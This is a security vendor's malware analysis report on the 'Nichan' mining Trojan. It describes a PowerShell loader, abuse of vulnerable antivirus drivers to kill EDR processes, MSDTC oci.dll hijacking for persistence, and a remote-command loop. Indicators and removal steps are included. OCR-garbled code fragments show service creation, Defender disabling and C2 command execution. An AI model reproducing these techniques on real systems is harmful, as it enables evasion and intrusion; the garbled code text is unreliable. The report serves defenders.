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1 Overview

Recently, Antiy CERT discovered a new mining Trojan attack through network security monitoring. The mining
Trojan began to appear in November 2023, and its components have been upgraded many times during this period.
The current version is 3.0. As of press time, the mining Trojan attack incidents have continued to be active, and the
number of infections has been increasing. The main features are strong concealment, anti-analysis, DLL hijacking

backdoors, and shellcode injection. Therefore, Antiy CERT named the mining Trojan "Nichan".

In this attack, the attacker used two relatively new techniques to fight against anti-virus software. The first
technique is to abuse the functions in the old version of the kernel driver of the anti-virus software to terminate the
anti-virus software and EDR. This technique is completed through a main Power Shell script, an independent Power
Shell script and a controller (a small executable file loaded into memory). The main Power Shell script is used to
download and install the old version of the kernel driver of the anti-virus software. The independent Power Shell
script is used to decrypt and load the controller into memory. The controller is used to control the kernel driver.
Although the abused old version of the kernel driver has been updated long ago, it can still be illegally used and
effectively terminate most anti-virus software. The second technique is to use the MSDTC service to load the
backdoor DLL to realize the self-starting backdoor and achieve the purpose of persistence. This technique uses the
mechanism of the MTxOCI component in the MSDTC service. After the MSDTC service is turned on, the component
will search for oci.dll. By default, the Windows system does not contain oci.dll. The attacker will download the
backdoor DLL, rename it to oci.dll and place it in the specified directory. Then, the attacker will create the MSDTC
service through the command in the Power Shell script. In this way, the service will load the oci.dll backdoor to form

a persistent operation.
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It has been verified that Antiy Intelligent Endpoint Protection System will not be blocked by the old version of

the kernel driver of the anti-virus software, and can also effectively detect and kill the backdoor DLL.

2 Attack Process

The "Nichan" mining trojan first downloads a Power Shell script named "get.png" from the server where the
trojan is placed. After decoding, it performs hash verification, creates scheduled tasks, disables the system's built-in
antivirus software, and creates services. It then downloads the "kill.png" script and two compressed files, "delete.png"
and "kill (1).png". The script decodes the shellcode code, which is decrypted to obtain the controller (an executable
file) and injected into the powershell.exe process. The two compressed files are decompressed to obtain the old
version of the kernel driver "aswArPots.sys" and "IObitUnlockers.sys" of the antivirus vendor, which are called by
the controller to terminate the antivirus software and EDR program. It also downloads the corresponding "86/64.png"
compressed file according to the system model of the victim host. After decompression, the oci.dll file is obtained,
which is called by the MSDTC service to implement the DLL hijacking backdoor. In the "get.png" script, we also see
the address for downloading the "backup.png" script, but the download function has not been implemented yet and
may be added in subsequent versions. The main function of this script is to send heartbeat reception commands, etc.
Finally, the "get.png" script will download the "smartsscreen.exe" program, which will download the mining program

and its components for mining.
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Figure 2-1 2flow chart

3 Sample Sorting and Functional Analysis

3.1 Sample Sorting

In response to the mining Trojan attack, its samples and functions are sorted out, as shown Table 3-1Table 3-1

below.

Table 3-1Samples and functions sorting

Sample name Landing name Sample Path Function
Initial payload delivery,
Not been
get.png In memory download of  subsequent

implemented :
samples, and persistence

The initial delivery payload did
not define the download of the
backup.png None None L
sample, and it is speculated
that it will be added later.
PowerShell command to

run.bat run.bat C:\Users\Public
download get .png

kill.png Not on the ground ~ PowerShell.exe in memory Terminate anti-virus software

kill.png(1) aswArPots.sys C:\Windows\System32\drivers and E DR processes
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delete.png I0bitUnlockers.sys C:\Windows\System32\drivers oieesl @btsan of il e
processes

86.png/64.png oci.dll C:\Windows\System32 DLL hijacking backdoor
smartsscreen.exe C:\Windows\Fonts ]e)tgwnload MIRIE  programs,
curl.exe C:\Windows\Fonts Curl official documents
config.json C:\Windows\Fonts Mining configuration files

taskhostw.png taskhostw.exe C:\Windows\Fonts XMRig mining program

W[ CZTEER M WinRing0x64/32.sys  C:\Windows\Fonts Mining driver

. Not been Include version information and
config.txt . None
implemented sample hash

Table 3-2 Mining pool address and wallet address in the mining program

Mining pool address Wallet Address

111.90.143.130:80

93.95.228.47-80 ZEPHYR2ty7pYE3wUdjLn1QKsFLiatXdMZHZzQSJToaoFM1LvWPzugsvdtLzZXRRk2hhFTxLC

. vLnAr4XJBCvrVfUeP8F6XC7QLgza47
zephyr.herominers.c

om:1123

3.2 Sample Function Analysis

w

2.1 Core Script Module Analysis (get.png )

The system uses built-in tools to delete specified scheduled tasks, end specified processes, and stop specified

services, suspected of cleaning up the persistence of mining Trojans that compete with it.

©Antiy All Rights Reserved. Reprint without Loss is welcome .Page 4



function ClearnBadProcess |

C:\Windows\System32\schtasks.
C:\Windows\System32\schtasks.
C:\Windows\System32\schtasks.
C:\Windows\System32\schtasks.
C:\Windows\System32\schtasks.e
C:\Windows\System32\schtasks.
C:\Windows\System32\schtasks.e
C:\Windows\System32\schtasks.
C:\Windows\System32\taskkill.
C:\Windows\System32\taskkill.
C:\Windows\System32\taskkill.

= [/delete

e [delete
e [fdelete
2 /IM lsmal2.
e /IM lsmal3.
= /IM lsmald.
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Jdelste
/delete
/delete
/delete

/tn "MicrozsoftsWindowsy"
/tn “myl

/tn "N

/tn
/tn '
/tn "
/tn
/tn "

/£

Jdelets

C:\Windows\System3i2\taskkill.exe /IM lsma22.
C:\Windows\System32\sc.exe stop "Windowsy Critical Update
C:\Windows\System32\sc.exe delete "Window ritical Updates"

C:\Windows\System3i2\sc.exe stop UPlugPlay
C:\Windows\System32\sc.ex= delete UPlugPlay
C:\Windows\System32\taskkill.exe /IM sqghost.

i
=
o

/¥

Remove-Item -Recurse =Force =~Path "¢:\windows\sghost,axe"

Figure 3-1 Delete scheduled tasks, etc.

Iterates through all possible drive letters (from A to Z) and checks whether each drive has enough free space. If
a drive that meets the criteria is found, it returns the name of the drive. If no drive is found after traversing all drives,

it returns null.

[function IsSpaceAvailable (
param (
{string)l$driveletter,

{long) $requiredspace
)

try (
$drive = [System.IO.DrivelInfro)::GetDrives() | Where-object ( s_.name -eq $driveletter }
return (§drive.IsReady -and $drive.AvailableFreeSpace -gt $requiredspace)
} cateh
return §false
)
}

[function FindSuitableDrive {

param (
{long] $requiredSpace

)

$driveletters = " 0C0E MNOPFQRSTUVWX

foreach (Sdziv-h.ttor tn deianottcxs) (
$driveName = " ||
if (IsSpaceAvailable dezv.Nllo $requiredspace) |

return $driveName

" .ToCharArray ()

)
)
return $null

Figure 3-2 Traverse the drive

To clear space in the C:\Windows\Installer directory, find the largest files in that directory. Search for the largest
files with a specific extension (.exe, .msi , .is0, .7z, .rar, .zip) in the root of the C: drive and all subdirectories except

some system directories. If you find the largest file, delete it to free up space.
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functiocn CleatTMsl |
StargetDirestory = °
$files = Got-Thildlten §tapgetdirectory | Woere-Ouiect [ §_ . PElsContalner -eq $false )
Fmaxrilesize =
$maxrile = $null
foreach (#file in $files) (
A ($file.longth -9t Smaxrilesize) (
Smaxrilesize & §file.longth
SmaxTile = (file

!
if (ImexPile -ne $oulll (
e Ites -Rocurae -¥orco -Fath dmaxtile.FullNaww
|}
|

functica Cleatnlar wnl- acnivive |

-n.v'-ﬁlmr" iona.ArtayList

1 - = | Whore-Object [ $041eBxts -cuntaine §_.Extension ) I ForSsch-Gviect ( Iwoldl§items.Add{s_) )
Cd.ltwwn a8 = hilditen =Directory | Where-Otject l JMaae -nc tch * e - 2y
rotm lld.u in M.tmtorus) {
Idites $dir.Fullsione -Filu | Mwre-ovioct | $filefxts -contalns §_.Extension ) | ¥orga vject | [volajditems sid(s ) |

i
$glchbalMaxrilesize =
SglcbaliMaxrile « Snull

iy
forwach ($file in Gitems) ( k n E
12 ($£43e.Length “gt SglobalMaxFilesize) | e
$globalMaxFiledize ~ $f1ile. length
SglobalMaxFile = $file
)
I
1 Itqlcbumlu- -ne Samlld) |
Ve lten -HOCULAG ~Foroe -Path SglebalMaxrile.rulllaes
}

Figure 3-3 Free up space

The amount of space required is defined as 10MB, and if a suitable drive is found, the function will attempt to

create a hidden directory \SRECYCLE.BIN\Fonts to hold the file.

[function GetInstallpath (

§requiredspace = . .

if (-not (IsSpaceAvailable "C:\" $requiredsSpace)) |
ClearnMsI
if (-not (IsSpaceAvailable ° " $requiredspace)) |

ClearnMsi
ClearnLargeFileInChrive

Af (-not (IsSpaceAvailable " . " $requiredSpace)) {
ClearnMsI
ClaarnlargefFilelInCirive
if (=not (IsSpaceavailable "O: $requiredspace)) |

$suitableDrive = FindSultableDrive $requiredSpace
if ($suitableDrive -n= $null) |
try
slcxi.pt:!ilef-;.x sePath = Join-pPatl §suitableDrive
-Path snlasaveeathb) {
-Itﬁ-:s'r"['—- Directory -Path §fileSavePath

set-Item Gtuosavnnth
$di . Attributes += i
}
) catch (
$scripticrrFlag = §true
)
)
}
1
)
’ =X
§script:curlSave0rgnamePath = §filesavePath + """ + §curlSaveFileName + * <o
§script:curlSavePath = $fileSavePath + " ° + $curlSaverileName
§script:watchSavedrgnamePath = $§fileSaveFath + " ° + §watchsaveFileName + “ '
§script:watchSavePath = §filesavePath + " " + $watchsSaveFileName

Figure 3-4 Download file storage location

Try to obtain the IP address corresponding to the domain name through the DoH service. If it fails, try to use the
traditional DNS query method. If both methods fail, use the backup IP address. The purpose is to ensure that the IP

address of the domain name used for HTTP and FTP downloads can be obtained.
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[function Geroms |
foreach (§url in §$dohURL) |

§response =

Sresponse = HTTPDownioad -url (Surl « Shttplownlcadbomalin + ) =savePath Smull -adalieader $true
$response_ip =

$response_ip = ExtractJszonValue <i=onString $response ~key

if{§response_ip -
$script:httplownl
break

§pattern) |
2d1P = gresponse ip

try
Lif(Shttpbownloadl? ~notpatch $pattarn) |
SdownloadTenprShttpDownloadDomains
foreach (§dns in $dnsList) (
stringlédnslookup = &C!\Windows\SystemiZ\nsloockup.sxe $downloadTemp $dns
$nalockup = Snslookup.replace($dne, 9
if{$nslockup ~match $pattern) (
$scriptihttphownioadIP = $matches( ]
break

I
) cateh
Sscxipt errflag = Strue
)
Af($httpDownloadIP -notmatch §pattern)(

$§script:ntipdoanloadip = §httpdownloadIFBackup
]

Figure 3-5 Get the IP address corresponding to the domain name

Update the configuration information by replacing the string to ensure that the download address in the
configuration file is consistent with the actual download server address. Add a timestamp parameter, which is usually

used to ensure that the latest content is loaded for each request instead of loading from the cache. Convert the HTTP

address to an FTP address and remove the possible timestamp parameter.

function UpdateRTTPConfig {
paran {
fetring) $config
)

return §config.Foplace( vl Mk *Y+" Irandor +{Cot-Date -Format L m ]
)

function UpdateFTPContig {
paran (
[stringl $config

)

return ($config.Beplace( t ) ) (Replaca( 3 p ‘d) =replace '
)

Figure 3-6 Update configuration information

Create multiple scheduled tasks to execute the subsequently downloaded payloads. The scheduled task names

are "OneDriveCloudSync", "DefaultBrowserUpdate", and "OneDriveCloudBackup", which respectively execute the

update program, its own file, and smartsscrren.exe.

©Antiy All Rights Reserved. Reprint without Loss is welcome .Page 7



L1 (tmsdrobfUNL)
1l 1y (Pmadte C4URL)

4IBL & TpdateliTTIC

Sacxiph:curlirgmmnts =

L= DpdatwilTTiContigiddriveRalltas)
L= Upsated Y7E000 1Ly (Sdrivabelateukl)

» Jora /tn
Jezats St /ee

Figure 3-7 Create a scheduled task

Clean up its own old processes.

funotion MillCldProcees |

param ¢
[stzinglécustProcessNaxe

)

Jprocesses = (=L-Krl =-Claas

fozeach ($process in §processes) |
if{Sprocess . Froceasid ~oq dpdd) {

centinue

taect Win3Z Pix

]
JprocessNaze = Jprocess. Naxs . Tolower()
12 (processName ~]|kn bt B, ¢

$commandiine = Jproceas.Commandline

if ($commandiine «| ko LER |
stop-Frocess «1d gprocens. masld «Force
centinum

]
12 (fcosmandiine «||ke

LN |
¢splitCommand = {commandiine <aplit ~

ng = Gepli

¢ [11. 77820
(dacodadTuxt =

tam, Toxt . Rncoding] ::m % . GatSteing ([Systes.Canvert)
12 (¢decodedTuxt =iy SdeccdedText $null )i

centinue
lelae|

~like
e Diucs ~1¢ fprocess.Proceasld ~Force

11 (¢proceashame -llko MK
SprocessPath = dprocess, Exocutablapath
12 (SproceasPath, Tolower () -0J Scuxlsaverath, ToLower()) |
Top-PLocess 10 $process,Procassld -Furce
ceatinue
|

|
1f (Scustrrocesshame -no $null) |
11 (%p

1ko $cus JToLower()) |

- Broce =14 $process.vrocassid -force
continue

|

Figure 3-8 Clean up old processes
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! tn *
tazkr. e /create fin

niste /oo /T BY3TEN /7

DiFrmmRase LE5LE Ing [fhasebiString) )

Analysis of the''Nichan'"'Mining Trojan Activity

SYUTEN /¥

Get configuration information from a remote server and ensure that certain string hash values in the

configuration information exist. If these strings exist, the function stops the loop and continues to execute subsequent

script operations. If the strings do not exist, try to download the configuration information again using the FTP

protocol.
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fesetica Gatconfiginfo |
witile (dtxue) |

$iafecoutent =

3infocoutent = HITPDOwnIoAd -url JinfoumRl -savelath Smull -acdsoader $false

if{#infocontent -re * ‘It
#scxipticuriiiash = ExtractJacaValue -isonsString $infoComteat -koy *
$scxiptivatchiasn = EaxtractJsonValue -jsonString $imfoComtent -key "o
¥scxipsissdtcféfash = ExtractJsonValue -iponString $iafoComtent -key
$soxiptissdtcidBash = ExtractJsonValue -isonString $iafoContent -key

$scxipsidrivelillfash = ExtractJaonValue «jsonString $isfoloatmat -key ")
$scxipt:drivelslotaSarh » ExtractJaonValue <jsonString Sinfoloatent ~key “11 Le®

Sacriptizadt ciash = SmsdtofdNash

$acriptizsdt cURL = Smadtot4URL

12 ((fcurlfash ~tw * “) sand (Swatchiash ~tw *) eant {gmmdtcEash =ne “NILL*H) §
bruak

!

} else |

S$fipDownloadunL = trp:‘lr.mv:uuuq =config SAnfouRL

$infoContent =

$infocontent = FTbbownlioad -fpUrl SftpDownlosdURL -local¥lladuth $null -frplssroame $ftpUser -IIpiasseord SLCpPass —saveToMmuncry $true

1f(dinfocontent oo ° "
$scxipticurifiash = ExtractlaonValue -jsonitring SiafeContent -kuy
$scxiptivatcniasd = ExtractJoonValoe -::'m:u 10y SiafoContent -xoy
$scoxiptinsdtctesanh = ExtractJoonValoe -jponstring SimfoCoatent -Rey “x
$scxiptinsdtcedsaeh = ExtractJoonValoe -fponsString SimfoCoatent -key “sonl

$soxiptidriveriliBash = ExtractJoonValos ~jsonstring JimfoCoatent -key =
$scxipt ;driveDaiatadaah » ExtractJoonValon ~jzonString $infoCoatsnt -key =

Sscriptinndt ol = JmedtotdRash

$mcriptinpidt U], = SmadtotdURL ﬂ *
42 (($cucllaal === "1 ‘) sand ($watchlash »oe © ‘1 sant (Gmsdeclagh «ne " i 3 %, | L
break
!
|
J
ZTartegluep -Secands

Figure 3-9 Verify that the configuration information is consistent

The configuration information is as follows, including the curl, xm, xme, xms, smart, scan, ms86, ms64, dkill,

and ddelete strings.

"y ivv3.on,
"ourl®:*52tL£780647d15ca08552deadelnS1cT562e3b1302a171a%cacq1d3se2L0%¢61",
"xm":"35ebEBcl4ad25e3blc5657%banae? Lbdde F7f%ccocicl0474aa06Eb22a03L",
TEMCT I "Clr454826119h238e30rb0346572631ca5e81blb075ED235%d5arbbde2l5660",
"xms®:"11bd2c9£9e2397csalenls90eded2of0679458fa0d418a3dfdacelbScledeal”
Pamart®:"2fe7804 1474435 72155669T74591a430bF35730%4dac0%1b4204 £5%echd25753",
"scan":"stop”,
"msB6":"3p2724£3350ch5£017db361bd3as49abdbcefaali06desaqbs5928£3£d5%ATab",
"u:GA":"]cndOSSthcf.‘sdl’ncdl4cbcc3a0d24€-hl0595d5048d750d‘169,0«7£ v T 0",
"dl(ill":"dbSZZ!-b]ZSUcScDBbSGcD'?IDGE-COSGH42716&09935739091‘5(&25‘% 1",
"ddelete":"2b33dfSaffTchb55%a782b252e8eb650ad9874a11258831c490d5571210597a8ae"

Figure 3-10 Configuration information

Disable Windows Defender's real-time monitoring, turn off the RPC service, clean up the system's junk files and

logs, etc.
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sltimeordtoring dtewe 1 "

Jt | imt-mul
CR 2 ST E i
AOTMALUISeC able /T ned_twarD /0 0 /T ) outew

Lo Py
PrMAgpe
winagat §
Tt Winkd | Swr-Mall
Azplicetlon

T

Susery B GOL-CLLIOICWS ~Path CI\veers | W 60T 1 B PEIecaOtAlIer |
Fonesat 1Susar in Susers) (
dtampPath = Joir-bath -bath Bussx.Pulldess ~Csldbath

TEX

Figure 3-11 Disable the system's built-in anti-virus software

From the specified URL and saves it to C:\Windows\System32\drivers, creates and starts services named

aswArPots and IObitUnlockers.

funotion Iosnloadbzives |
pars {
|=txing)sauny,
[riringiddsaverath
[rtrina]Sdiins,
fecol)pexil)

'
while (ftrue)l |
tarivesaveTsprath = $dSaveraths »
§iccaliriveliash = ° :
AL{Tuot Tull SdSavedaeth){
$localorivetash = Got¥llesdAlStsanh ~fllapath Sdsaverath
1f (SlocallriveRazh -« SaRash){
LL(gaxili}
Crinlnsoun \ systenidy eXU Create AswArfots upiarotn= C“Sdsaverath '™ typo=m werpel start= guto |
yateall .axn start sswikzPots | oout omull

mXe cremate ICGLtOslockers bimjatim '“$dsaveath'™ Lypem Vernel start= guto |
maw ptazt ICbitUnlcckars | =wt-null

Art-ale =-5e0004d4s
fewoee-]ten ~Rocurse -Foroe -Eath $dSavelath
Famove Item vRecutas ~Fusos ~Falh SdeiveSaveTepPath

HITFDown load =uxl SAURL -savefath darivesavetmprath -sddieader §fales
Sf{enat {Tesxt Fath SdziveleveTepPatd)) |
$2epoounlicadimy = updaterTicontly -~contfly saumen
FTRlowmioad =ripiic] JfTpOowmlosdUis ~localFllebath SarivegavetepPath ~ripilsemans §fsplser ~fipfasovor] SLTpPass —raveYiteriry $falee
)
fapandrile =cabflledatn JdxivesaveTaplath -cxpundiath $doaverath
$iccalirivalash = . .
tlocaldrivaliash = GutrilaSHAZSANash ~I11eFath SdSevePath [
if{$localdrivenash -oq SdMashi( i ﬂ
AT (Faridiy |

ey

Lem)dh o 0Xe Cledle JAWALTULS Dludaths “*gdsavePath * s kersel starts auto |
\soiexe =Tact assArPoss | cot

e%6 CIeaté I0
exe stact

umlockors binpaths '“fdseverath * Ty E xernel starts joto | ut-null
Ichittnlockere | 8]

Figure 3-12 Create service

Stop and restart the MSDTC service, rename the downloaded x86.png or x64.png suitable for the host system

to oci.dll and save it in C:\Windows\System32, and implement the DLL hijacking backdoor through the MSDTC

service.
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“ash e talae Mprivileger

Figure 3-13DLL hijacking backdoor

Finally, download and run multiple subsequent components, as shown in the figure.

DownloadDrives =-dURL $driveXillURL -dsavePath dcrw = ¢o" =dHa=h $driveXillBash -d¥ill §true

-dURL $driveDeleteURL -dsSavelath " 1 wind t L Ito! toch J" =d#Hazh fdriveDeleteHash -dXill §false
¢ FRLIETI K L.png

CheckBrror -errld

DownloadCurl ¢ F #curlys LY

Figure 3-14 Download subsequent components

3.2.2 Remote Control Module Analysis (backup.png )

The script is used to double-base encode the date and time, the victim's host name and send it back to the
attacker's server, continuously send heartbeat signals to the server, receive commands, execute them, and send the
output of the commands back to the server.

1f (bsutexexists) |
exit

thaspaliveuszl =
tretusnBasuleuzl «

Suniqueld & (Gur Dutu ~UFCiral ).teplaced V) iplace | ey |
ChoatXame » Smhv:Corpuluiiues

while(ftzue) |
Catapl & Xubbwqueal =url SkeepAliveUrl spostDela (ComesrtTolsonsString ~uid funiqueld ~ulast $hostXeze) -l Snull ~aditfivice:r $falsw
12(($ntapl ~ne Snull) =und (Satepl ~ne 1t
Gcommand = Cunywit-Froefaawid ~Raasidstring Sstapl
Scommand = + Scommand
foutput = o Scommand >&

$output = Soutput | Cus-Ftring
while($true) |
$ntap? = Nubfequeat “utrl $returnBessitUr: ~postDetas (Convert-TaBssetd «Input5String $output) «id Suniqueld =sddieacer Strue
12(Sntap2 “nw 1
brwak
1

|- act-Bleep <Jeconds s E E

1
SEutex . BeloaseMutex()
Smutex, Clove ()

Figure 3-15 Send heartbeat packets to the server
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3.2.3  Analysis of the Anti-module ( Kkill.png )

The script is actually a compressed and BASE64 -encoded Power Shell script, which decrypts multiple layers

of payloads and finally injects a shellcode into the powershell.exe process.

a tWRr_procedse |

et ocn » ' 1t
(15l b R R L T e . ' (B Toaid
ccedan

. « STww) [
1 beac_reears_tyyw = (Vi

Pras_type balises * (& il A el ety » wase | et bt Blowatd ymal spnanad ' it le |
o) \ 1 —

YA _Type BuLigay. D rary | at . t 1 . WIS pasmetaTd |

» type bk i " Twwr_ewrurn_bype Swar_paraseions) ~:ine g
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Figure 3-16 Process injection

The shellcode will decrypt an embedded PE and load it into memory again. The final loaded PE data is a whitelist
driver exploitation module, which will disguise the driver protocol of the whitelist communication and manipulate
the underlying driver to use system permissions to delete and terminate the specified process or file. Most of the
processes are core processes of security software such as anti-virus software, firewalls, and sandboxes. This
executable file is designed to organize the list of running processes and then compare them with the obfuscated hard-
coded list of CRC64 checksum values of Anti-virus and EDR process names. If any process name is directly
associated with an entry in the hard-coded list, an I/O control (IOCTL) code will be sent to the Avast driver, causing
the process to terminate. Some of the process names included in the attacker's processing list are as follows:

call sub_ADCE

nop
lea rdx, asophoshealthEx ; "sophoshealth.exe”
lea rcx, [rbpt+oseh]

call sub_ADCE

nop

lea rdx, aSophossafester ; "sophossafestoregd.exe”
lea rcx, [rbp+988h]

call sub_ADC@

nop

lea rdx, aSophoscleanmEx ; “sophoscleanm.exe”
lea rcx, [rbp+9agh]

call sub_ADC®

nop

lea rdx, aFsavguiExe ; "fsavgui.exe"

lea rcx, [rbp+aceh]

call sub_ADCE

nop

lea rdx, aVsservExe ; "vzserv.exe"

lea rcx, [rbpt+9eeh]

call sub_ADCE

nop

lea rdx, aRemupdExe ; "remupd.exe”

lea rcx, [rbp+eseah]

call sub_ADC@

nop

lea rdx, aFortitrayExe ; "fortitray.ewxe”

Figure 3-17 Anti-virus software driver
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3.2.4  Self-update Module Analysis (86/64.png )

msdtc directory: "86.png" and "64.png". They correspond to the 32-bit environment and the 64-bit environment
respectively. The two samples are completely consistent in code structure, and only the target system bit number
selected during compilation is different. This file is only responsible for re-downloading "get.png" from the attacker's

server and executing it for self-update.
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Figure 3-18 Self-update download get .png

3.25  Analysis of the Mining Component Downloader Module ( smartsscreen.exe )

This file is a download module for the mining component, developed in Golang. After running, it will access

the attacker's server to download various mining components.
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v3 = syscall StringToUTF16Ptr(({int)"3h85cICLR3YGDh2n", 16);
golang_org_x_sys_windows_CreateMutex(@, @, v3);
if ( lvd )

runtime_deferproc(l2, off_6C48FE);
if ( lve )
{
golang_erg_x_sys_windows_GetlastError();
if { vl || *(const runtime_ type **)(vl + 4) != &RTYPE_syscall Errno || *v2 != 183 )

main_enableDebugPrivilege();
main_conf_Init();
main_xdaemon_Killold();
main_update_LocalHash();
main_update_ResolveIP();
main_update_UpdateHashInfo();

J/ C:\Windows\Fonts\curl.exe
/4 111.98.158.48

runtime_newproc(@,
runtime_newproc(®,
runtime_newproc(@,
runtime_newproc(e,
runtime_newproc(@,
runtime_newproc(@,
runtime_newproc(@,
runtime_newproc(@,
runtime_newproc(8,

{char)&off_sC4218);
{char)&off_8C41EC);
(char)&off_sC41D8);
(char)off_sC41D4);

{char)&off_sC41D8);
(char)off_sC421C);

(char)&off_sC4220);
(char)&off_sC4224);
(char)&off_6C415C);

main_client_Online();
b
b

k=35

runtime_deferreturn(vl);

t
Figure 3-19 Download subsequent mining components
After the component is run, it will access the attacker's server to download "config.txt" and "curl.png" to verify
the mining component HASH and download the mining component. Then it will access and download the official
open source mining component of XMRig. Among them, "taskhostw.png" is the mining program, "config.json" is

the mining configuration file, and "WinRing0x64.png" is the driver required for XMRig to run.

NET_http 111.90.158.40/config.txt?=1712583590
NET_connect 93,95.225.137:21

NET_http 111.90.158.40/curl.pngt=1712583591
NET_http 111.90.158.40/taskhostw.png 7t=1712583597
NET_http 111.90.158.40/config jsont=1722423018 7
NET_http 111.90.158.40/WinRing0x64.png?t=1712583617

Figure 3-20 Download mining component network data

4 Mining Trojan Detection and Removal Solution

4.1 Identification of Mining Trojans

Table 4-1Planned tasks

Planned task name Corresponding sample path

DefaultBrowserUpdate C:\Users\Public\run.bat
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OneDriveCloudBackup cmd.exe /c start C:\Windows\Fonts\smartsscreen.exe
OneDriveCloudSync cmd.exe /c C:\Windows\System32\sc.exe start msdtc
Table 4-2Files

File name Path

smartsscreen.exe
taskhostw.exe

WinRing0x64 / 32.sys C:\Windows\Fonts

curl.exe

config.json

run.bat C:\Users\Public\run.bat
oci.dll C:\Windows\System32

aswArPot s.sys
C:\Windows\System32\drivers

I0bitUnlockers.sys
Table 4-3Services
Service Name Corresponding registration table
MSDTC HKEY _LOCAL MACHINE\SYSTEM\ CurrentControlSet \Services\MSDTC

Table 4-4Processes

Process name path

PowerShell .exe Memory execution

smartsscreen.exe

C:\Windows\Fonts
taskhostw.exe
1. network
surface 4-5Network
IP Function
111.90.158.40 Trojan Server

111.90.143.130:80
Mining pool address
93.95.228.47:80
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4.2 Removal Solution

It is recommended to use the free version of Antiy System Security Kernel Analysis Tool ( ATool ) (download
address: https://vs2.antiy.cn/ ) for detection and elimination. First, delete three scheduled tasks named

DefaultBrowserUpdate , OneDriveCloudBackup and OneDriveCloudSync.

S e ¥ wFsid  HA) xaA BEoE BEWi LD

o LA 128 O Weeer\Pudlisky . ¢
v o ifaResnan sewos ik € \fropwm File ;
GasglatpdatoT askiuchinatih LR 8t TASSACTE . DRMOE 3% € Wrogw ¥ilee |
Riorasafetigeipdas el ad®achirnlor AT BRI Mienatt TASS ACTY LOCA T m C \fropaa Tiles |
tmsnaittliphladaiSuhindMi 20T SREI Bt TASEACTE A . m Circope Piles |
apegestadley AT TASEACTE el /m o CArvapw Zilay
Dadvive Iapurtisg Tob2-1-0-71=  XRAOT TASEACTT A X £ Wiar $136 AT
Ouedrive Ftandalase Vpdete Tubt  MRAIT TAREACTE 199911 X € W s V6 \Apd
Oryede |l wndlaekoy xat TASE_ACTT woes I C Windors \Brsbem

sy TASE_ACTT ey o O Windws\Sratem
UEfies Ratsairr Wyawdes © 0 BT This tark wreen  TREATL HOOE & ¢ Frogm Filu
Ofivw Clicklobun Surview Monitor  BEAN! Thix tak wesiter.  TASEACTL T TR € \Frogm Files\
Offiee Featere tpdaten MY Thiz tack wseres TASSACTL HeAE 11 ¢ Progrm File
Offies Paatwrs Ppdetan Logoa 2T Thic tetk @z TASE ACTL aeae 1 € Yropw il
DEfiavTel mutrybgenct ikecks0n6 BT RSN OFFE  TASEACTI A 4D C roge Tile
DFfi seTal wotrybgeatlogvlnne T SR PR ol TASE ACTT 200404 Lt C\fvogea Tiles
Badkgralloaladd st TASE ACTT pOz4/4 ™= CAlvopes Pile
WIT Trosearh BGEN od 0 20000 64 3T TSR ACTE e 3 © AP o Wpn hom
WIT Tronenarh SGEN o4 0 360U0 0 OX TASE_ACTE HELN a U ooy By o
A3 B Rights Taliey Templote Sem i LD LIS IR TAGE_ACTI 1| 12 C Windws Lyt

R W0 WG Rigts Taliey Teplete e AT WESPE) O WG TASCACTT 1R B C Windors buystem
E0 Palicy Wexager B HESMAME Y TR 1568/ k] C Windws\Syaten
Vori £ adfablisbarCer Stceolbach A GE AsD ERE . ez 1866/11 1NEE € UWindwslaystem
Mimonsft Compatibility gpesiome  REAT COMEEHM), M TASEACTL A 1% € Windwtlipsten

et s iy \$\~bar\

Figure 4-1 Delete a scheduled task

End the corresponding processes, smartsscreen.exe, taskhostw.exe and powershell.exe .
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Figure 4-2 End the corresponding process

Delete samples in the corresponding directories such as mining programs.
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Figure 4-3 Delete the corresponding directory sample
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Delete the corresponding driver files, aswArPots.sys and IObitUnlockers.sys. Restart the MSDTC service. If it

is not created by itself, delete the service accordingly.
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Figure 4-4 Delete the corresponding driver file

5 ATT&CK Mapping Diagram Corresponding to the Incident

Regarding the complete process of the attacker launching the mining Trojan, Antiy sorted out the ATT&CK

mapping map corresponding to this attack incident as shown in the figure below.
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Figure 5-1 ATT&CK mapping diagram corresponding to the incident
The following table lists the techniques used by the attackers .

Table 5-1 ATT&CK technique behavior description table corresponding to the incident

ATT&CK g .
. Specific Behavior Notes
Stages/Categories
m Using command and script interpreters Using PowerShell Script Commands

Execution process hijacking Exploiting oci.dll hijacking

Persistence
Utilize scheduled tasks/jobs Create a scheduled task
Process injection Shellcode injected into powershell.exe
Modify the registry Modify the registry

Defense Evasion Deobfuscate/decode files or information  Deobfuscating Power Shell Commands
Using Rootkits aswArPots.sys anti-rootkit monitoring

Weakened defense mechanisms Disable Windows Defender

Discovering Files and Directories Find the largest file in a specified directory
Find system time Get system time

Command  and .
Encoding Data Return encoded data
Control
Resource hijacking Occupies CPU resources

6 Protective Recommendations

In response to mining attacks, Antiy recommends that companies take the following protective measures.
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1.  Windows/Linux version of Antiy Intelligent Endpoint Protection System;

2. Strengthen SSH passwords: Avoid using weak passwords. It is recommended to use passwords of 16
characters or longer, including a combination of uppercase and lowercase letters, numbers, and symbols.

Avoid using the same password on multiple servers.

3. Update patches in time: It is recommended to enable the automatic update function to install system patches.

The server should update system patches in time;

4. Update third-party application patches in a timely manner: It is recommended to update third-party

application patches such as Redis in a timely manner;

5. Enable logs: Enable key log collection functions (security logs, system logs, error logs, access logs,

transmission logs, and cookie logs) to provide a basis for tracing security incidents.
6. Host reinforcement: conduct penetration testing and security reinforcement on the system;

7. Deploy intrusion detection system (IDS): Deploy traffic monitoring software or equipment to facilitate the
discovery and tracking of malicious code. Antiy Persistent Threat Detection System (PTD) uses network
traffic as the detection and analysis object, and can accurately detect a large number of known malicious
codes and network attack activities, and effectively discover suspicious network behaviors, assets and

various unknown threats;

8. Antiy Service: If you are attacked by malware, it is recommended to isolate the attacked host in time and
protect the site while waiting for security engineers to check the computer; Antiy 7*24 hours service hotline:

400-840-9234.

Deploy an enterprise-level terminal defense system to detect and protect unknown files received by
instant messaging software in real time. Antiy Intelligent Endpoint Protection System uses Antiy's next-
generation threat detection engine to detect files from unknown sources and prevents them from landing
and running through kernel-level active defense capabilities.
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Figure 6-1 Antiy Intelligent Endpoint Protection System provides effective protection
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Appendix 1: References

[1]. Aon .Yours Truly, Signed AV Driver: Weaponizing An Antivirus Driver [R/OL].( 2022-02-06)

https://www.aon.com/cyber-solutions/aon_cyber_labs/yours-truly-signed-av-driver-weaponizing-an-

antivirus-driver/

Appendix 2: About Antiy

Antiy is committed to enhancing the network security defense capabilities of its customers and effectively
